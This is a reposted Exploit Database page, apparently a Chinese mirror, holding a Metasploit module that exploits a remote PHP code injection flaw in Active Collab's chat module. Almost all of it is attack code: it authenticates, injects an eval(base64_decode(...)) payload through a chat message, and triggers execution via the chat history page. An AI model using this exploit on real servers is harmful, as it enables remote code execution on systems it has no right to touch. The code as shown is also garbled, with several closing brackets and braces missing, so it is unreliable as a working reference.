Active Collab ‘chat module’ < 2.3.8 - Remote PHP Code Injection (Metasploit)

Exploit Database
100 阅读

作者： Metasploit

日期： 2012-05-19
类别：
- remote
平台：
- php
来源：https://www.exploit-db.com/exploits/18898/

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# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

# http://metasploit.com/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})

super(update_info(info,

'Name' => 'Active Collab "chat module" <= 2.3.8 Remote PHP Code Injection Exploit',

'Description'=> %q{

This module exploits an arbitrary code injection vulnerability in the chat module

that is part of Active Collab by abusing a preg_replace() using the /e modifier and

its replacement string using double quotes. The vulnerable function can be found in

activecollab/application/modules/chat/functions/html_to_text.php.

'License'=> MSF_LICENSE,

'Author' =>

[

'mr_me <steventhomasseeley[at]gmail.com>',# vuln discovery & msf module

'References' =>

[

['URL', 'http://www.activecollab.com/downloads/category/4/package/62/releases'],

'Privileged' => false,

'Payload'=>

{

'Keys'=> ['php'],

'Space' => 4000,

'DisableNops' => true,

'Platform' => ['php'],

'Arch' => ARCH_PHP,

'Targets'=> [['Automatic',{}]],

'DisclosureDate' => 'May 30 2012',

'DefaultTarget'=> 0))

register_options(

[

OptString.new('URI',[true, "The path to the ActiveCollab installation", "/"]),

OptString.new('USER',[true, "The username (e-mail) to authenticate with"]),

OptString.new('PASS',[true, "The password to authenticate with"])

],self.class)

end

def check

login_path = "public/index.php?path_info=login&re_route=homepage"

uri = datastore['URI']

uri += (datastore['URI'][-1, 1] == "/") ? login_path : "/#{login_path}"

cms = send_request_raw({'uri' => uri}, 25)

uri = datastore['URI']

uri += (datastore['URI'][-1, 1] == "/") ? 'public/assets/modules/chat/' : '/public/assets/modules/chat/'

chat = send_request_raw({'uri' => uri}, 25)

# cant detect the version here

if (cms and cms.body =~ /powered by activeCollab/)

# detect the chat module

if (chat and chat.code == 200)

return Exploit::CheckCode::Vulnerable

end

return Exploit::CheckCode::Safe

end

def exploit

user = datastore['USER']

pass = datastore['PASS']

p = Rex::Text.encode_base64(payload.encoded)

header = rand_text_alpha_upper(3)

login_uri = datastore['URI']

login_uri += (datastore['URI'][-1, 1] == "/") ? 'public/index.php?path_info=login' : '/public/index.php?path_info=login'

# login

res = send_request_cgi({

'method'=> 'POST',

'uri' => login_uri,

'vars_post' =>

{

'login[email]'=> user,

'login[password]' => pass,

'submitted' => "submitted",

}

}, 40)

# response handling

if res.code == 302

if (res.headers['Set-Cookie'] =~ /ac_ActiveCollab_sid_eaM4h3LTIZ=(.*); expires=/)

acsession = $1

end

elsif res.body =~ /Failed to log you in/

print_error("Could not login to the target application, check your credentials")

elsif res.code != 200 or res.code != 302

print_error("Server returned a failed status code: (#{res.code})")

end

# injection

iuri = datastore['URI']

iuri += (datastore['URI'][-1, 1] == "/") ? 'index.php' : '/index.php'

iuri << "?path_info=chat/add_message&async=1"

phpkode = "{\${eval(base64_decode(\$_SERVER[HTTP_#{header}]))}}"

injection = "<th>\");#{phpkode}</th>"

cookies = "ac_ActiveCollab_sid_eaM4h3LTIZ=#{acsession}"

res = send_request_cgi({

'method'=> 'POST',

'uri' => iuri,

'headers' =>

{

'cookie'=> cookies

'vars_post' =>

{

'submitted'=> "submitted",

'message[message_text]'=> injection,

'message[chat_id]' => "1",

'message[posted_to_user_id]' => "all"

}

}, 25)

euri = datastore['URI']

euri += (datastore['URI'][-1, 1] == "/") ? 'public/index.php' : '/public/index.php'

euri << "?path_info=/chat/history/1"

# execution

res = send_request_cgi({

'method'=> 'POST',

'uri' => euri,

'headers' =>

{

header=> p,

'cookie'=> cookies

}

})

end